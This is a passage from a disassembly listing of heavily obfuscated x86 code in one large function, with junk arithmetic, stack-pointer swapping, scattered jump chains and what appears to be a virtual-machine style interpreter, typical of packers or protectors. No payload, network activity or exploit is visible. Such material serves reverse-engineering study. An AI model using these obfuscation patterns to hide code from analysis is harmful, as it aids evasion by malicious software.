CODE XREF: sub_580566+11BBAj pop ecx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp-44h+arg_3C] pop esp mov [esp-48h+arg_40], ecx mov cl, 26h shr cl, 4 neg cl push dx jmp loc_5A3620 ; --------------------------------------------------------------------------- loc_5A46D0: ; CODE XREF: sub_580566+1887Ej xchg ebx, [esp-36h+arg_2C+2] pop esp mov [esp-3Ah+arg_30+2], ebp mov ebp, 4FA54DFh jmp loc_59B40D ; --------------------------------------------------------------------------- loc_5A46E1: ; CODE XREF: sub_580566+12DEAj mov eax, [esp-34h+arg_2C] add esp, 4 jmp loc_5A3823 ; --------------------------------------------------------------------------- loc_5A46EC: ; CODE XREF: sub_580566+191CAj mov [esp-52h+arg_48+2], ebx push 28h pop ebx add ebx, 4635D1Ah sub ebx, offset word_49457A add ebx, edi push 38C1h mov [esp-4Eh+arg_44+2], ecx mov ecx, offset word_49457A add ebx, ecx jmp loc_592466 ; --------------------------------------------------------------------------- loc_5A4717: ; CODE XREF: sub_580566+24252j mov dl, cl mov bl, dl pop edx pop ecx push 0AC4h jmp loc_5A314A ; --------------------------------------------------------------------------- loc_5A4727: ; CODE XREF: sub_580566+1D55Cj mov ebx, 314B3175h jmp loc_5A2390 ; --------------------------------------------------------------------------- loc_5A4731: ; CODE XREF: sub_580566+18113j mov [esp-3Ch+arg_34], ebx push 4D546AC8h pop ebx mov esi, ebx push [esp-3Ch+arg_34] push [esp-38h+arg_30] pop ebx add esp, 4 push 448Bh mov [esp-38h+arg_30], ebp mov ebp, esp jmp loc_5A2CFA ; --------------------------------------------------------------------------- loc_5A4755: ; CODE XREF: sub_580566+12165j push edi pop edx pop edi add eax, edx jmp loc_5911A1 ; --------------------------------------------------------------------------- loc_5A475F: ; CODE XREF: sub_580566+21A44j pop ecx sub esi, edx pop edx jmp loc_5A17AD ; --------------------------------------------------------------------------- loc_5A4768: ; CODE XREF: sub_580566+15993j mov edx, 518D08ECh jmp loc_5A5246 ; --------------------------------------------------------------------------- loc_5A4772: ; CODE XREF: sub_580566+11750j pop ecx jmp loc_5A442F ; --------------------------------------------------------------------------- loc_5A4778: ; CODE XREF: sub_580566+1267Fj inc ecx shr ecx, 6 jmp loc_599EC6 ; --------------------------------------------------------------------------- loc_5A4781: ; CODE XREF: sub_580566+128E3j mov [esp-24h+arg_1A+2], ebx jmp loc_594B44 ; --------------------------------------------------------------------------- loc_5A4789: ; CODE XREF: sub_580566+232BEj add eax, 7ECC5D01h sub esp, 4 mov [esp-20h+arg_16+2], esi sub esp, 4 jmp loc_599883 ; --------------------------------------------------------------------------- loc_5A47A2: ; DATA XREF: sub_580566+1042Ao mov cx, word ptr [esp-1Ch+arg_12+2] push eax push esp pop eax jmp loc_59DAFF ; --------------------------------------------------------------------------- loc_5A47AE: ; CODE XREF: sub_580566+1B173j mov cl, al push 3B28h mov [esp-16h+arg_E], edx jmp loc_5A4717 ; --------------------------------------------------------------------------- loc_5A47BD: ; CODE XREF: sub_580566+2336Bj sub [esp-36h+arg_30+2], 0C455015h sub [esp-36h+arg_30+2], 0BA84732h mov ebp, [esp-36h+arg_2C+2] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5A13E6 ; --------------------------------------------------------------------------- loc_5A47E1: ; CODE XREF: sub_580566+12656j mov [esp-1Ch+arg_12+2], edi jmp loc_5A0673 ; --------------------------------------------------------------------------- loc_5A47E9: ; CODE XREF: sub_580566+2186Bj mov [esp-34h+arg_2C], eax mov eax, 3800C2h jmp loc_5A04E4 ; --------------------------------------------------------------------------- loc_5A47F6: ; CODE XREF: sub_580566+1B80Bj mov [esp-22h+arg_1A], esi mov esi, esp push eax push 4 pop eax sub esi, 699F027Ch push ecx mov ecx, 50806505h sub ecx, 2D729DEh jmp loc_59E395 ; --------------------------------------------------------------------------- loc_5A4819: ; CODE XREF: sub_580566+236CCj mov [esp-32h+arg_28+2], esp add [esp-32h+arg_28+2], 4 mov ebp, [esp-32h+arg_28+2] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_59232C ; --------------------------------------------------------------------------- loc_5A4834: ; CODE XREF: sub_580566+16504j add esp, 4 jmp loc_590AC5 ; --------------------------------------------------------------------------- loc_5A483F: ; CODE XREF: sub_580566+151C4j mov eax, 7EF56758h or eax, 55256C9Dh shl eax, 3 push esi mov esi, 3A8A6A4Bh sub eax, esi jmp loc_5A3A1C ; --------------------------------------------------------------------------- loc_5A4859: ; CODE XREF: sub_580566+17B8Aj xchg eax, [esp-32h+arg_28+2] pop esp push 592Dh jmp loc_597780 ; --------------------------------------------------------------------------- loc_5A4867: ; CODE XREF: sub_580566+12F6Ej mov ecx, [esp-44h+arg_3C] add esp, 4 not esi sub esi, 0EBECF870h xor eax, esi mov esi, [esp-48h+arg_40] jmp loc_593BFB ; --------------------------------------------------------------------------- loc_5A487F: ; CODE XREF: sub_580566+172C4j pop eax add esp, 4 sub ebx, 4 xchg ebx, [esp-58h+arg_4E+2] jmp loc_594D7C ; --------------------------------------------------------------------------- loc_5A488E: ; CODE XREF: sub_580566+1AB3Aj xchg ecx, [esp-38h+arg_30] mov esp, [esp-38h+arg_30] push esp jmp loc_596B70 ; --------------------------------------------------------------------------- loc_5A489A: ; CODE XREF: sub_580566+22FC0j push [esp-3Ch+arg_34] jmp loc_59B073 ; --------------------------------------------------------------------------- loc_5A48A2: ; CODE XREF: sub_580566+17743j add esp, 4 add ebx, eax mov eax, [esp-20h+arg_16+2] push ebx jmp loc_5A050D ; --------------------------------------------------------------------------- loc_5A48B3: ; CODE XREF: sub_580566+1A56Dj mov esi, 85F268Eh not esi jmp loc_59847A ; --------------------------------------------------------------------------- loc_5A48BF: ; CODE XREF: sub_580566+1E2D9j add esi, ebp pop ebp push 0A5Bh mov [esp-32h+arg_28+2], edx mov edx, 563B73D0h add edx, 0A9C48C34h push eax mov eax, 139763F8h jmp loc_59D8CB ; --------------------------------------------------------------------------- loc_5A48E0: ; CODE XREF: sub_580566+1FB6Dj xor eax, esi mov esi, [esp-1Ah+arg_12] jmp loc_59652F ; --------------------------------------------------------------------------- loc_5A48EA: ; CODE XREF: sub_580566+1D50Cj xor edx, 0E204F416h xor edi, edx pop edx sub ebx, edi pop edi push 4DE7h jmp loc_593FC6 ; --------------------------------------------------------------------------- loc_5A4900: ; CODE XREF: sub_580566+1B0FCj push esi mov esi, 5159461Dh not esi jmp loc_59CE21 ; --------------------------------------------------------------------------- loc_5A490D: ; CODE XREF: sub_580566+11D13j push eax mov ah, 8Eh xor dl, ah pop eax mov ch, dl jmp loc_59B98F ; --------------------------------------------------------------------------- loc_5A491A: ; CODE XREF: sub_580566+14360j push [esp-34h+arg_30] mov esi, [esp-30h+arg_28] add esp, 4 pop [esp-34h+arg_2C] jmp loc_5A24A0 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-38h+arg_30] push 78E5h mov [esp-34h+arg_2C], ebx push esp pop ebx push edi mov edi, 4 add ebx, edi pop edi push esi mov esi, esp push ecx jmp loc_59EBC9 ; --------------------------------------------------------------------------- loc_5A494F: ; CODE XREF: sub_580566+13A1Fj add ebp, 4 sub ebp, 4 xchg ebp, [esp-1Eh+arg_16] pop esp jmp loc_5A37F8 ; --------------------------------------------------------------------------- loc_5A4964: ; CODE XREF: sub_580566+182FAj add esp, 4 sub ebx, 29A83BECh add ebx, edx push ebp mov ebp, 3BF421B2h sub ebp, 124BE5C6h add ebx, ebp pop ebp push ecx mov ecx, 7BD56988h jmp loc_593447 ; --------------------------------------------------------------------------- loc_5A4989: ; CODE XREF: sub_580566+188A9j add edx, edi pop edi mov ecx, [esp-4Eh+arg_44+2] jmp loc_5A5AF7 ; --------------------------------------------------------------------------- loc_5A4994: ; CODE XREF: sub_580566+1584Ej xor [esp-4Ah+arg_40+2], edx xor edx, [esp-4Ah+arg_40+2] mov esp, [esp-4Ah+arg_40+2] mov word ptr [esp-4Ah+arg_40+2], ax jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A49A6: ; CODE XREF: sub_580566+22917j push edx push [esp-2Ch+arg_28] pop edx pop [esp-2Ch+arg_24] pop esp mov ax, word ptr [esp-34h+arg_2C] push 40ABh mov [esp-30h+arg_28], esi push esp pop esi jmp loc_5A512F ; --------------------------------------------------------------------------- loc_5A49C3: ; CODE XREF: sub_580566+1FB9Bj mov cx, word ptr [esp-34h+arg_2C] push eax mov eax, esp jmp loc_5936CE ; --------------------------------------------------------------------------- loc_5A49CF: ; CODE XREF: sub_580566+14E2Cj or ebp, edx pop edx jmp loc_5A3A75 ; --------------------------------------------------------------------------- loc_5A49D7: ; CODE XREF: sub_580566+22383j sub ecx, ebp mov ebp, [esp-42h+arg_38+2] jmp loc_591381 ; --------------------------------------------------------------------------- loc_5A49E1: ; CODE XREF: sub_580566+168B8j pop edx push eax push ecx push 73861C88h pop ecx jmp loc_59F3F4 ; --------------------------------------------------------------------------- loc_5A49EF: ; CODE XREF: sub_580566+10EF3j xchg edi, ecx not edi xchg edi, ecx push eax jmp loc_59C250 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 4B21h mov [esp-22h+arg_1A], esi push 5A5Eh jmp loc_597A05 ; --------------------------------------------------------------------------- loc_5A4A10: ; CODE XREF: sub_580566+1FAF5j mov ebx, [esp-3Ah+arg_30+2] add esp, 4 jmp loc_5976AD ; --------------------------------------------------------------------------- loc_5A4A1B: ; CODE XREF: sub_580566+155A9j mov [esp-24h+arg_1A+2], ecx push esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp-20h+arg_16+2] jmp loc_59DBBC ; --------------------------------------------------------------------------- loc_5A4A35: ; CODE XREF: sub_580566+19A05j add esi, 4 jmp loc_59E2ED ; --------------------------------------------------------------------------- loc_5A4A3D: ; CODE XREF: sub_580566+11791j add ebx, 0EEF64E7h jmp loc_5A4233 ; --------------------------------------------------------------------------- loc_5A4A48: ; CODE XREF: sub_580566+13FB8j pop esp jmp loc_5A41B8 ; --------------------------------------------------------------------------- loc_5A4A4E: ; CODE XREF: sub_580566+13565j mov eax, [esp-20h+arg_16+2] add esp, 4 push ecx jmp $+5 mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp-20h+arg_16+2] pop esp mov [esp-24h+arg_1A+2], ebx sub esp, 4 mov [esp-20h+arg_16+2], esp add [esp-20h+arg_16+2], 4 pop ebx push eax mov eax, 73607749h sub eax, 0FFFFFFFFh jmp loc_5999A4 ; --------------------------------------------------------------------------- loc_5A4A8D: ; CODE XREF: sub_580566+163A0j mov esp, [esp-1Ch+arg_12+2] add [esp-1Ch+arg_16+2], ebp mov ebp, [esp-1Ch+arg_12+2] jmp loc_598415 ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A4AA4: ; CODE XREF: sub_580566+2094Dj pop esp push [esp-40h+arg_38] mov eax, [esp-3Ch+arg_34] push ebp mov ebp, esp jmp loc_59A478 ; --------------------------------------------------------------------------- loc_5A4AB3: ; CODE XREF: sub_580566+19731j xor edi, 6EF16174h xor edi, 3F0F1F23h jmp loc_5A4594 ; --------------------------------------------------------------------------- loc_5A4AC4: ; CODE XREF: sub_580566+1B0A2j sub eax, edx mov edx, [esp-30h+arg_28] add esp, 4 push [esp-34h+arg_2C] mov edx, [esp-30h+arg_28] add esp, 4 push edx mov edx, esp add edx, 4 push ebx jmp loc_59620C ; --------------------------------------------------------------------------- loc_5A4AE4: ; CODE XREF: sub_580566+21047j mov ecx, edi mov edi, [esp-50h+arg_48] add esp, 4 push ebp mov ebp, 2B395BC1h jmp loc_597ABB ; --------------------------------------------------------------------------- loc_5A4AFA: ; CODE XREF: sub_580566+12B47j add esp, 4 pop [esp-42h+arg_38+2] pop esp sub edx, 1CFB2D3Bh sub edx, 11F937DDh push eax mov eax, 25C871A8h add edx, eax pop eax add edx, eax sub esp, 4 mov [esp-46h+arg_3C+2], eax mov eax, 6445337h sub eax, 4A5F3E7Eh and eax, 5CCF7D19h push eax not [esp-42h+arg_38+2] pop eax and eax, 224E2A00h or eax, 28E634A5h xor eax, 0F264F0Dh sub edx, eax pop eax push esi push 0D340CF0h pop esi jmp loc_5A23B0 ; --------------------------------------------------------------------------- loc_5A4B53: ; CODE XREF: sub_580566+2178Cj push eax jmp loc_5932A1 ; --------------------------------------------------------------------------- loc_5A4B59: ; CODE XREF: sub_580566+182E2j push esi mov esi, 1CCF42AAh jmp loc_599E1D ; --------------------------------------------------------------------------- loc_5A4B64: ; CODE XREF: sub_580566+1E28Cj add edx, 4FF25952h add edx, edi jmp loc_596E39 ; --------------------------------------------------------------------------- loc_5A4B71: ; CODE XREF: sub_580566+1DAB9j push [esp-1Ch+arg_12+2] push [esp-18h+arg_E+2] jmp loc_5933C1 ; --------------------------------------------------------------------------- loc_5A4B7C: ; CODE XREF: sub_580566+169A2j pop esp sub eax, edi mov edi, [esp-3Eh+arg_34+2] add esp, 4 push eax add [esp-3Eh+arg_34+2], 4E9B6EF0h mov ebx, [esp-3Eh+arg_34+2] jmp loc_59431A ; --------------------------------------------------------------------------- loc_5A4B98: ; CODE XREF: sub_580566+11BEAj mov esi, 7C7620C5h jmp loc_5998EC ; --------------------------------------------------------------------------- loc_5A4BA2: ; CODE XREF: sub_580566+14BCEj pop edx add eax, edi jmp loc_59602C ; --------------------------------------------------------------------------- loc_5A4BAA: ; CODE XREF: sub_580566+15E6Fj sub edx, ecx jmp loc_5A0CB7 ; --------------------------------------------------------------------------- loc_5A4BB1: ; CODE XREF: sub_580566+228A2j add dh, ah pop eax mov ax, word ptr [esp-3Ah+arg_30+2] add esp, 2 push cx mov cl, 0FFh add dh, 1Dh add dh, 8Eh sub dh, cl sub dh, 8Eh sub esp, 2 jmp loc_5A3127 ; --------------------------------------------------------------------------- loc_5A4BD2: ; CODE XREF: sub_580566+18102j mov ebp, 7B106ECCh jmp loc_59B7F6 ; --------------------------------------------------------------------------- loc_5A4BDC: ; CODE XREF: sub_580566+23014j add ah, bh pop bx shl ah, 2 jmp loc_5A1A1A ; --------------------------------------------------------------------------- loc_5A4BE8: ; CODE XREF: sub_580566+23610j pop edx add edi, 45A932B2h push eax mov eax, 47C45359h sub edi, eax jmp loc_5A3A38 ; --------------------------------------------------------------------------- loc_5A4BFC: ; CODE XREF: sub_580566+20C5Ej xor edi, ebp jmp loc_5926CA ; --------------------------------------------------------------------------- loc_5A4C03: ; CODE XREF: sub_580566+15238j push small 6DDAh mov word ptr [esp-12h+arg_A], cx jmp loc_597CB8 ; --------------------------------------------------------------------------- loc_5A4C10: ; CODE XREF: sub_580566+20F84j pop [esp-44h+arg_3C] mov esp, [esp-48h+arg_40] jmp loc_598BC2 ; --------------------------------------------------------------------------- loc_5A4C1B: ; CODE XREF: sub_580566+16FF3j add esi, 620105EAh push ecx mov ecx, 75F86E86h sub esi, ecx pop ecx add esi, 11974E10h push ebp jmp loc_59C20E ; --------------------------------------------------------------------------- loc_5A4C36: ; CODE XREF: sub_580566+1AEFFj add eax, 0C57CC9Fh add ebx, eax pop eax push eax push 79180AB7h pop eax add eax, 3DA4149Fh inc eax jmp loc_59A634 ; --------------------------------------------------------------------------- loc_5A4C50: ; CODE XREF: sub_580566+1DDC6j xor edx, 0AEC2964Ah add edi, 106B04E5h add edi, edx jmp loc_5A36EB ; --------------------------------------------------------------------------- loc_5A4C63: ; CODE XREF: sub_580566+1E26Cj push eax push ebp mov ebp, 6B961842h push ecx mov ecx, 615653FBh or ebp, ecx pop ecx push esi mov esi, 475265E5h and esi, 24E42540h shl esi, 6 jmp loc_590AB1 ; --------------------------------------------------------------------------- loc_5A4C87: ; CODE XREF: sub_580566+1A432j sub al, 56h jmp loc_5A10C9 ; --------------------------------------------------------------------------- loc_5A4C8E: ; CODE XREF: sub_580566+21FE7j add esp, 4 xor edx, edi jmp loc_597FED ; --------------------------------------------------------------------------- loc_5A4C9B: ; CODE XREF: sub_580566+1A80Ej add edi, ebx mov ebx, [esp-52h+arg_48+2] add esp, 4 add edi, 7EB967D9h sub edi, esi jmp loc_595C51 ; --------------------------------------------------------------------------- loc_5A4CB3: ; CODE XREF: sub_580566+20757j pop ecx push eax push ebx jmp loc_5A3F2D ; --------------------------------------------------------------------------- loc_5A4CBB: ; CODE XREF: sub_580566+24F6Ej mov ecx, 2 jmp loc_59DF9E ; --------------------------------------------------------------------------- loc_5A4CC5: ; CODE XREF: sub_580566+1B15Cj xchg edx, [esp-46h+arg_3C+2] pop esp jmp loc_595A72 ; --------------------------------------------------------------------------- loc_5A4CCE: ; CODE XREF: sub_580566+167E9j neg ebp jmp loc_5910AF ; --------------------------------------------------------------------------- loc_5A4CD5: ; CODE XREF: sub_580566+1309Fj mov esp, [esp-60h+arg_56+2] jmp loc_5A44C7 ; --------------------------------------------------------------------------- loc_5A4CDD: ; CODE XREF: sub_580566+1AC2Ej sub esp, 4 mov [esp-48h+arg_40], edi mov edi, 1 add ebp, edi mov edi, [esp-48h+arg_40] add esp, 4 jmp loc_5A2EEA ; --------------------------------------------------------------------------- dword_5A4CF8 dd 240C8B66h, 5FBF6851h, 0F0E90000h db 90h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A4D07: ; CODE XREF: sub_580566+1223Dj add ax, 273Eh mov bx, word ptr [esp-4Ch+arg_44] push ecx jmp loc_595F27 ; --------------------------------------------------------------------------- loc_5A4D15: ; CODE XREF: sub_580566+1511Ej pop eax add eax, 4 push ecx push ebx mov ebx, 40783101h add ebx, 1DCC7CC0h dec ebx add ebx, 0DC11541Ah mov ecx, ebx jmp loc_59A4E4 ; --------------------------------------------------------------------------- loc_5A4D36: ; CODE XREF: sub_580566+12005j push cx mov ch, 23h sub al, ch pop cx add al, 0A8h xor al, 10h xor dl, al mov eax, [esp-56h+arg_4E] push ebx mov ebx, esp jmp loc_59B476 ; --------------------------------------------------------------------------- loc_5A4D4F: ; CODE XREF: sub_580566+1F607j mov dl, 1Eh sub al, dl pop dx push ebx push ecx mov ch, 88h jmp loc_5927BF ; --------------------------------------------------------------------------- loc_5A4D5E: ; CODE XREF: sub_580566+1D05Bj push 678Ch jmp loc_5A04F1 ; --------------------------------------------------------------------------- loc_5A4D68: ; CODE XREF: sub_580566+116A4j xor eax, [esp-30h+arg_28] xor [esp-30h+arg_28], eax xor eax, [esp-30h+arg_28] jmp loc_5A34EE ; --------------------------------------------------------------------------- loc_5A4D76: ; CODE XREF: sub_580566+22EF0j mov [esp-0Ch+arg_8], ebp push 4 mov ebp, [esp-8+arg_4] push eax push esp pop eax add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp+0] mov esp, [esp+0] add ebx, ebp mov ebp, [esp+0] push 35C4h mov [esp+0], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+0] mov esp, [esp+0] push edx mov edx, esp jmp loc_595828 ; --------------------------------------------------------------------------- loc_5A4DC3: ; CODE XREF: sub_580566+215EFj neg ebx shl ebx, 3 push 1143h mov [esp-3Ah+arg_30+2], edx jmp loc_5A07DC ; --------------------------------------------------------------------------- loc_5A4DD5: ; CODE XREF: sub_580566+197FFj mov [esp-3Ch+arg_34], ebp push 4679h jmp loc_599C9C ; --------------------------------------------------------------------------- loc_5A4DE2: ; CODE XREF: sub_580566+1E31Aj mov ebx, 393200FCh xor ebx, esi mov esi, [esp-38h+arg_30] add esp, 4 jmp loc_5A505E ; --------------------------------------------------------------------------- loc_5A4DF7: ; CODE XREF: sub_580566+25166j mov edx, [esp-3Ch+arg_34] add esp, 4 pop ebx pop ebp loc_5A4E02: ; CODE XREF: sub_580566+25606j sub esp, 4 mov [esp-44h+arg_3C], esi push ecx mov ecx, 4E1B1B54h neg ecx or ecx, 6E8E2FF6h shl ecx, 2 sub ecx, 8EA45CD6h mov esi, ecx pop ecx jmp loc_59B596 ; --------------------------------------------------------------------------- loc_5A4E27: ; CODE XREF: sub_580566+11F06j pop ecx add esp, 4 add esp, 4 sub ebx, 4635D1Ah mov eax, [ebx] mov ebx, [esp-2Eh+arg_24+2] push esi jmp loc_59DBB5 ; --------------------------------------------------------------------------- loc_5A4E42: ; CODE XREF: sub_580566+22F5Aj pop esp push esp pop [esp-30h+arg_28] push ecx push eax mov eax, 4 mov ecx, eax pop eax add [esp-30h+arg_2C], ecx jmp loc_599714 ; --------------------------------------------------------------------------- loc_5A4E5A: ; CODE XREF: sub_580566+14C01j add esp, 4 sub esi, edi push [esp-3Ch+arg_34] pop edi add esp, 4 jmp loc_59DDCB ; --------------------------------------------------------------------------- loc_5A4E6E: ; CODE XREF: sub_580566+20B65j mov ecx, [esp-28h+arg_20] add esp, 4 xor bl, al movzx eax, al push dword ptr [edi+eax*4] push ecx mov ecx, esp push ebx mov ebx, 65725FA8h xor ebx, 65725FACh add ecx, ebx pop ebx sub ecx, 4 xor ecx, [esp-24h+arg_1A+2] xor [esp-24h+arg_1A+2], ecx xor ecx, [esp-24h+arg_1A+2] mov esp, [esp-24h+arg_1A+2] mov [esp-24h+arg_1A+2], edi mov edi, esp add edi, 4 push edx jmp loc_5A3399 ; --------------------------------------------------------------------------- loc_5A4EB1: ; CODE XREF: sub_580566+24E08j add eax, 1 jmp loc_599453 ; --------------------------------------------------------------------------- loc_5A4EBB: ; CODE XREF: sub_580566+14009j mov ebx, 63F05925h push edi push esi push 72DB30FBh pop esi jmp loc_5A4F42 ; --------------------------------------------------------------------------- loc_5A4ECD: ; CODE XREF: sub_580566+172A8j pop [esp-18h+arg_E+2] mov esp, [esp-1Ch+arg_12+2] jmp loc_59C7FA ; --------------------------------------------------------------------------- loc_5A4ED8: ; CODE XREF: sub_580566+1476Ej add ebx, 0C92210Bh mov esi, [esp-20h+arg_16+2] add esp, 4 add ebx, 2 jmp loc_5A37D7 ; --------------------------------------------------------------------------- loc_5A4EF2: ; CODE XREF: sub_580566+23E4Aj add byte ptr [esp-58h+arg_4E+2], al pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A4EFB: ; CODE XREF: sub_580566+1C7FCj add eax, 27887610h pop ebp sub eax, 17D22F14h add eax, ebx add eax, 17D22F14h push edi push 4338h mov [esp-4Eh+arg_44+2], esi jmp loc_5970D4 ; --------------------------------------------------------------------------- loc_5A4F1B: ; CODE XREF: sub_580566+1CC8Bj add al, 1Bh sub dh, al pop eax sub bl, dh jmp loc_59D62A ; --------------------------------------------------------------------------- loc_5A4F27: ; CODE XREF: sub_580566+1E3D1j add al, cl jmp loc_594C7D ; --------------------------------------------------------------------------- loc_5A4F2E: ; CODE XREF: sub_580566+11A8Bj mov [esp-34h+arg_2C], ecx jmp loc_59C419 ; --------------------------------------------------------------------------- loc_5A4F36: ; CODE XREF: sub_580566+1E273j pop edx sub ebx, ecx pop ecx xchg ebx, [esp-1Ah+arg_12] jmp loc_59D96E ; --------------------------------------------------------------------------- loc_5A4F42: ; CODE XREF: sub_580566+24962j not esi xor esi, 6A7C76D9h jmp loc_59D05A ; --------------------------------------------------------------------------- loc_5A4F4F: ; CODE XREF: sub_580566+15777j push ebx mov ebx, esp add ebx, 4 jmp loc_59B306 ; --------------------------------------------------------------------------- loc_5A4F5D: ; CODE XREF: sub_580566+19598j mov edi, [esp-2Ch+arg_24] add esp, 4 add ebx, 4 xchg ebx, [esp-30h+arg_28] pop esp movsx ecx, ax push 7A81h mov [esp-30h+arg_28], ecx jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A4F7D: ; CODE XREF: sub_580566+1A160j sub bh, ah pop eax and bh, 1Dh jmp loc_59EB56 ; --------------------------------------------------------------------------- loc_5A4F88: ; CODE XREF: sub_580566+17669j sub esp, 2 mov word ptr [esp-28h+arg_20], ax jmp loc_5A3198 ; --------------------------------------------------------------------------- loc_5A4F94: ; CODE XREF: sub_580566+196F7j pop eax push edx mov edx, 4 jmp loc_59ABDA ; --------------------------------------------------------------------------- loc_5A4FA0: ; CODE XREF: sub_580566+10E24j push edi mov edi, offset loc_5D42EA push eax mov eax, 0FFA2BD18h add edi, eax pop eax add edx, 6BD97E71h add edx, edi sub edx, 6BD97E71h mov edi, [esp-36h+arg_2C+2] sub esp, 4 mov [esp-32h+arg_28+2], edx jmp loc_5A2741 ; --------------------------------------------------------------------------- lodsd jmp loc_599308 ; --------------------------------------------------------------------------- loc_5A4FD1: ; CODE XREF: sub_580566+1FC5Cj add esi, 4 xchg esi, [esp-28h+arg_20] jmp loc_5A1D53 ; --------------------------------------------------------------------------- loc_5A4FDF: ; CODE XREF: sub_580566+22400j push eax mov eax, esp add eax, 4 sub eax, 4 xor eax, [esp-4Ah+arg_40+2] jmp loc_59736D ; --------------------------------------------------------------------------- loc_5A4FF4: ; CODE XREF: sub_580566+118A5j xor edi, edx xor edx, edi shl edx, 6 dec edx xor edx, 81BB1079h sub edi, edx pop edx jmp loc_595353 ; --------------------------------------------------------------------------- loc_5A500A: ; CODE XREF: sub_580566+22740j xor [esp-5Ah+arg_52], edi xor edi, [esp-5Ah+arg_52] pop esp mov word ptr [esp-5Eh+arg_56], cx push edx mov dh, 0F6h mov cl, dh jmp loc_593AA9 ; --------------------------------------------------------------------------- loc_5A501F: ; CODE XREF: sub_580566+12CDBj pop esp push edx push 70473E98h pop edx mov eax, 70473E99h xor eax, edx push [esp-42h+arg_38+2] jmp loc_598F28 ; --------------------------------------------------------------------------- loc_5A5036: ; CODE XREF: sub_580566+20342j mov edx, 4 sub esi, 40BA7780h jmp loc_5A05BC ; --------------------------------------------------------------------------- loc_5A5046: ; CODE XREF: sub_580566+10C6Dj add ebx, edi mov edi, [esp-30h+arg_28] add esp, 4 sub edi, 573B5A83h add edi, ebx jmp loc_5A3A80 ; --------------------------------------------------------------------------- loc_5A505E: ; CODE XREF: sub_580566+2488Cj push esi mov esi, 16632207h mov ebp, esi jmp loc_595072 ; --------------------------------------------------------------------------- loc_5A506B: ; CODE XREF: sub_580566+16780j mov eax, 4 add [esp-4Ah+arg_44+2], eax mov eax, [esp-4Ah+arg_40+2] add esp, 4 pop eax add eax, 4 add eax, 4 jmp loc_59EA02 ; --------------------------------------------------------------------------- loc_5A508A: ; CODE XREF: sub_580566+1A0F8j pop esi pop ebx and eax, edi mov edi, [esp-20h+arg_16+2] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-1Ch+arg_12+2] jmp loc_597B7A ; --------------------------------------------------------------------------- loc_5A50A8: ; DATA XREF: sub_580566+10426o lodsd push 76C9h jmp loc_5A452E ; --------------------------------------------------------------------------- loc_5A50B3: ; CODE XREF: sub_580566+1E987j add eax, 4 xchg eax, [esp-52h+arg_48+2] pop esp push edx mov edx, 2 add esi, edx mov edx, [esp-52h+arg_48+2] jmp loc_5920A9 ; --------------------------------------------------------------------------- loc_5A50CC: ; DATA XREF: sub_580566+1046Eo lodsb push edx mov dh, 67h push small 67BEh mov word ptr [esp-4Ch+arg_44], cx push eax jmp loc_5A2EA6 ; --------------------------------------------------------------------------- loc_5A50DE: ; CODE XREF: sub_580566+1F934j mov ebx, 0B922E2Eh shr ebx, 7 add ebx, 7CC6160Fh jmp loc_59F6A8 ; --------------------------------------------------------------------------- loc_5A50F1: ; CODE XREF: sub_580566+19AB6j mov [esp-30h+arg_28], edi mov edi, 66543FD6h jmp loc_59F0B4 ; --------------------------------------------------------------------------- loc_5A50FE: ; CODE XREF: sub_580566+1670Dj sub esi, 4 xchg esi, [esp-2Eh+arg_24+2] jmp loc_59CC7C ; --------------------------------------------------------------------------- loc_5A5109: ; CODE XREF: sub_580566+1F87Bj mov ecx, 2644231Dh shl ecx, 2 not ecx dec ecx xor ecx, 0F95CA6C9h xor edi, ecx pop ecx add ecx, 34713BEFh jmp loc_592A40 ; --------------------------------------------------------------------------- loc_5A5128: ; CODE XREF: sub_580566+1370Ej mov ch, al jmp loc_5A4108 ; --------------------------------------------------------------------------- loc_5A512F: ; CODE XREF: sub_580566+24458j add esi, 4 add esi, 2 sub esp, 4 mov [esp-2Ch+arg_24], esi push [esp-2Ch+arg_28] mov esi, [esp-28h+arg_20] push 3C15h mov [esp-24h+arg_1A+2], esi push esp pop esi jmp loc_59A0A5 ; --------------------------------------------------------------------------- loc_5A5157: ; CODE XREF: sub_580566+12EBEj or al, 0EEh sub al, 0ECh push edx mov dl, 0ACh jmp loc_599EA9 ; --------------------------------------------------------------------------- loc_5A5163: ; CODE XREF: sub_580566+1C02Cj pop edx add ebp, 4 xchg ebp, [esp-50h+arg_48] pop esp add esi, 4 push ebx push esi mov esi, 1536025Ah jmp loc_596055 ; --------------------------------------------------------------------------- loc_5A5180: ; CODE XREF: sub_580566+1EDC9j xor ecx, ebp jmp loc_5A3175 ; --------------------------------------------------------------------------- loc_5A5187: ; CODE XREF: sub_580566+23BB7j push ebp mov ebp, 58CC198Ch add [esp-4Ah+arg_44+2], 48403C38h sub [esp-4Ah+arg_44+2], ebp sub esp, 4 mov [esp-46h+arg_3C+2], ebx mov ebx, 48403C38h sub [esp-46h+arg_44+2], ebx pop ebx mov ebp, [esp-4Ah+arg_40+2] add esp, 4 push [esp-4Eh+arg_44+2] push [esp-4Ah+arg_40+2] mov eax, [esp-46h+arg_3C+2] jmp loc_59227E ; --------------------------------------------------------------------------- loc_5A51BD: ; CODE XREF: sub_580566+1BB02j pop eax jmp loc_598F44 ; --------------------------------------------------------------------------- loc_5A51C3: ; CODE XREF: sub_580566+188DFj sub eax, 57D5E39h add eax, 2F423C3Ah mov edx, [esp-4Ah+arg_40+2] push edx push esp jmp loc_5A1F2B ; --------------------------------------------------------------------------- loc_5A51D7: ; CODE XREF: sub_580566+19F0Dj pop edx add al, 12h push [esp-4Ah+arg_40+2] pop edx add esp, 4 push ebx jmp loc_598CD2 ; --------------------------------------------------------------------------- loc_5A51EA: ; CODE 